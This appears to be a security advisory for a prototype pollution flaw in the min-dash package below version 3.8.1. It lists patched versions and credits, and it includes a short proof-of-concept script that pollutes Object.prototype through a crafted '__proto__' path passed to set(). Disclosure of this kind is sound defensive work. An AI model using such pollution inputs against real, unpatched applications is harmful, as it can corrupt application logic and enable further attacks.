| Package | Affected versions | Patched versions |
|---|---|---|
| org.webjars.npm:min-dash | < 3.8.1 | 3.8.1 |
| min-dash | < 3.8.1 | 3.8.1 |
| min-dash | < 3.8.1 | 3.8.1 |
The set method is vulnerable to prototype pollution with specially crafted inputs.
// insert the following into poc.js and run node poc,js (after installing the package)
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);
min-dash>=3.8.1 fix the issue.
No workarounds exist for the issue.
Closed via https://github.com/bpmn-io/min-dash/pull/21.
Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free